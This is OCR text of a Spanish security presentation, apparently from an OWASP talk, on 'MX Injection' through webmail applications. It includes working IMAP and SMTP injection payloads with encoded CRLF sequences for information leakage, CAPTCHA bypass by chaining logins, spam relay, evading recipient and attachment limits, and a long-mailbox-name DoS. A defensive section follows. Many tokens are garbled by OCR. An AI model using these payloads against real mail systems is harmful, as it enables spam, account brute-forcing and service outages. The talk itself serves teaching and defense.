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Introduccion

B Comunicacion con los servidores de correo
» aplicaciones de webmall
B Protocolos

» IMAP/POP3
» SMTP

B Peticiones de los usuarios
» acceso a los buzones
» lectura/envio/eliminacion de e-mails
» desconexion
» etc.




La tecnica MX Injection

B MX Injection: ¢ que permite?
P acceso Yy explotacion de servidores de correo “ocultos”
B ; En que consiste?

» inyeccion arbitraria de comandaos IMAP/POP3/SMTP a traves de
aplicaciones de webmall

B |nyecciones similares:
» SQL Injection, LDAP Injection, SSI Injection, XPath Injection, etc.




La tecnica MX Injection
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Los pasos 1,2 y 3 representan el camino habitual de una peticion del usuario

Los pasos 1y 2 representan el camino “virtual” que sigue con MX Injection OWASP e 6




La tecnica MX Injection

B |MAP Injection
» los comandos inyectados siguen el protocolo IMAP

» IMAP es utilizado en la mayoria de operaciones
» funcionalidades afectadas

= autenticacion

= Ooperaciones con buzones (listar, consultar, crear, elimnar, renombrar)
" Qperaciones con mensajes (consultar, copiar, mover, elimnar)

" desconexion




La tecnica MX Injection

B SMTP Injection
» los comandos inyectados siguen el protocolo SMTP
» la unica funcionalidad afectada es el envio de e-malls

» parametros a analizar
= e-mail del emisor
e-mail del destinatario

= asunto

cuerpo del mensaje
ficheros anexados
etc.




La tecnica MX Injection

B |[MAP Injection vs SMTP Injection
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SPAM
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Generando ataques

B Requisitos
» Identificar parametros vulnerables
» Entender el ambito de operacion
B Ejenplos de ataques
» Fugas de informacion
» BEvasion de CAPTCHAs
» Relay
» SPAM
» Evasion de restricciones
» Explotacion de wulnerahilidades en el protocolo




Generando ataques

B |dentificacion de parametros vulnerables
» probar casos de abuso

= parametro con valor nulo (p.e.: mailbox=)
= nombre de buzon inexistente (p.e.. mailbox=noexiste)
= afadir otros valores (p.e.: mailbox=INBOX valorafiadido)
* ncluir caracteres inusuales (p.e.:\, ', “, @, # !, etc.)
" efc.
> ;donde?
= parametros susceptibles de ser utilizados como parte de comandos
IMAP/SMTP




Generando ataques

B Entender el ambito de operacion

» necesitamos proporcionar los parametros adecuados
» si los casos de abuso generan errores no controlados

= resulta facil identificar el comando a atacar (visualizar el mensaje de error)
» si los casos de abuso no generan errores “reveladores”

" inyeccion “a ciegas”

= requiere analizar la operacion asociada al parametro atacado

B |nyeccion de comandos

» requiere gque el comando anterior haya finalizado con la
secuencia CRLF (“¢0d¥d0a”)




Ejemplos de ataques

B Hugas de informacion
» Operacion: lectura de un e-mall
» Peticion “esperada’™

http://<webmail>/src/read body.php?mailbox=INBOX&passed id=1&
startMessage=1&show _more=0

genera el siguiente comando IMAP.

XXXX SELECT “INBOX"




Ejemplos de ataques

B Hugas de informacion
» Operacion: lectura de un e-mall
» Peticion usando IMAP Injection:

http://<webmail>/src/read body.php?maillbox=INBOX%a22%0d%d0aZ900
CAPABILITYY0d%d0az901 SELECT %22
INBOX&passed id=1&startMessage=1&show _more=0

gjecutaria el comando CAPABILITY inyectado:

XXXX SELECT “INBOX"

Z900 CAPABILITY

7901 SELECT “INBOX” * CAPABILITY | MAP4 | MAP4revl ACL QUOTA LI TERAL+ MAI LBOX- REFERRALS NAMESPACE Ui DPLUS | D
NO_ATOM C_RENAVE UNSELECT CH LDREN MULTI APPEND SORT THREAD=ORDEREDSUBJECT
THREAD=REFERENCES | DLE LI STEXT LI ST- SUBSCRI BED ANNOTATEMORE X- NETSCAPE

Z900 K Conpl et ed
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Ejemplos de ataques

B Evasion de CAPTCHAS
» Operacion: autenticacion de usuarios
» Peticion “esperada’™

http://<webmail>/src/login.jspogin=usuario&password=contrasena

genera el siguiente comando IMAP.

C: XXXX LOGIN usuario contrasena
S: XXXX OK User logged in

(C: peticion del cliente, S: respuesta del servidor)




Ejemplos de ataques

B Evasion de CAPTCHAS
» Operacion: autenticacion de usuarios
» Peticion usando IMAP Injection:

http://<webmail>/src/login.jsp?login=usuario&password=pwderror1%dd%
0aZ900 LOGIN usuario contrasenia%dd%d0aZ901 LOGIN usuario pwderror2

genera los siguientes comandos IMAP:

: XXXX LOGIN usuario pwderrorl

: XXXX NO Login failed: authentication failure
: 2900 LOGIN usuario contrasena

: 2901 OK User logged in

: 2902 LOGIN usuario pwderror?
: 2900 BAD Already logged 1in

0 OQ n QO n O




Ejemplos de ataques

B Relay/SPAM
» Operacion: envio de e-mails
» Peticion “esperada’™

POST hittp://<webmeail>/compase.php HTTP/1.1

134475172700422922879687252
Content-Disposition: form-data; name="subject"
Hola

134475172700422922879687252

genera los siguientes comandos SMTP.

MATIL FROM: [mailfrom]
RCPT TO: [rcptto]
DATA

Subject: Hola




Ejemplos de ataques

B Relay/SPAM
» Operacion: envio de e-mails
» Peticion usando SMTP Injection:
POST http://<webmail>/compose.php HTTP/L.1

134475172700422922879687252

Content-Disposition: form-data; name="subject"

Hola%dd%d0a.9d0dYd0aMAIL FROM: external@domainl.com¥d0dY0aRCPT TO: external@domain2.com¥dd%
0aDATAYDAdY0aSPAM test%d0dYda.%d0dYd0aMAIL FROM: external@domainl.com¥dd%00aRCPT TO:
external @domain2.com0d¥0aDATAYOAYd0aSPAM testyd%dla.¥0dY0a

134475172700422922879687252




Ejemplos de ataques

B Relay/SPAM

genera los siguientes comandos SMTP.

MAIL FROM: [mailfrom]
RCPT TO: [rcptto]
DATA

Subject: Hola

MAIL FROM: external@domainl.com
RCPT TO: externall@domainZ.com
DATA

SPAM Test

MAIL FROM: external@domainl.com
RCPT TO: externall@domainZ?.com
DATA

SPAM Test




Ejemplos de ataques

B Fvasion de restricciones
» Operacion: envio de e-mails
» Restriccion: Numero maximo de destinatarios
» Peticion usando SMTP Injection:

POST hittp://<webmail>/compase.php HTTP/1.1

134475172700422922879687252

Content-Disposition: form-data; name="subject"

Hola%dd%da.90dvdaMVAIL FROM: external@domain.comddd¥d0aRCPT TO: external @domain2.condd%
0aRCPT TO: external@domain3.com?dY0aRCPT TO: external@domaind.comdYaDATAYOdYaTest%

0dYd0a.%0dYda

134475172700422922879687252




Ejemplos de ataques

B Fvasion de restricciones

genera los siguientes comandos SMTP.

MAIL FROM: [mailfrom]
RCPT TO: [rcptto]
DATA

Subject: Hola

MAIL FROM: external@domain.com
RCPT TO: externall@domainZ.com

RCPT TO: externall@domain3.com

RCPT TO: externall@domain4.com

DATA

Test




Ejemplos de ataques

B Evasion de restricciones
» Operacion: envio de e-mails
» Restriccion: Numero maximo de ficheros adjuntos
» Peticion usando SMTP Injection:

POST hittp://<webmail>/compase.php HTTP/1.1

134475172700422922879687252

Content-Disposition: form-data; name="subject"

Test%0dYd0a.%0dvd0aMAIL FROM: userl@domainl.comdd¥d0aRCPT TO: user2@donmain2.con?dd%
CaDATAYdYaContent-Type: multipart/mixed; boundary=1234567%d0d%d0a%d0d%0a--123456 7%0d%
OaContent-type: text/plainydd¥daContent-Disposition: attachment; filename=1. txt%0d¥d0a%0dYddaExample 1%
0d9da--1234567%0dYdaContent-type: text/plain%dddYdaContent-Disposition: attachment; filename=2.txt%d0d%
OayddydaExample 29/40d%Wa--1234567--%0dYda.%0d%0a

134475172700422922879687252
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Ejemplos de ataques

B Fvasion de restricciones

genera los siguientes comandos SMTP.

Subject: Hola

MAIL FROM: userl@domainl.com

RCPT TO: user2@domain?2.com

DATA

Content—-type: multipart/mixed; boundary=1234567
—— 1234567

Content-type: text/plain

Content-Disposition: attachment; filename=1.txt

Example 1

——-1234567

Content-type: text/plain

Content-Disposition: attachment; filename=2.txt

Example 2
-—-1234567--




Ejemplos de ataques

B Explotacion de vulnerabilidades en el protocolo

» Elemplo: DoS sobre MailMax version 5

= Utilizando un nombre de buzdn de 256 caracteres como parametro del
comando SELECT el senvicio se detiene y debe ser reiniciado
manualmente.

http://<webmail>/src/compaose. php?maillbox=INBOX%a22%/00d%0aZ900
SELECT %22aaa...[256]. . aaa

genera:

XXXX SELECT “INBOX"
2900 SELECT *“aaa...[256]...a"”




DEMO
Veamos algunos ejemplos...




Medidas defensivas

B \alidacion de los datos de entrada/salida

» sanear datos antes de realizar cualquier operacion

B Securizacion de los senidores de correo
» deshabilitar comandos innecesarios
» no permitir login anonimo
» configurar desconexion tras fallos en la autenticacion
> etc.

B Hrewall de aplicacion

» En el caso de ModSecurity y SquirrelMall:
= SecHilterSelective "ARG_mailbox' "\r\n'
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B ; Dudas
’ , preguntas, comentarios?

iGracias!




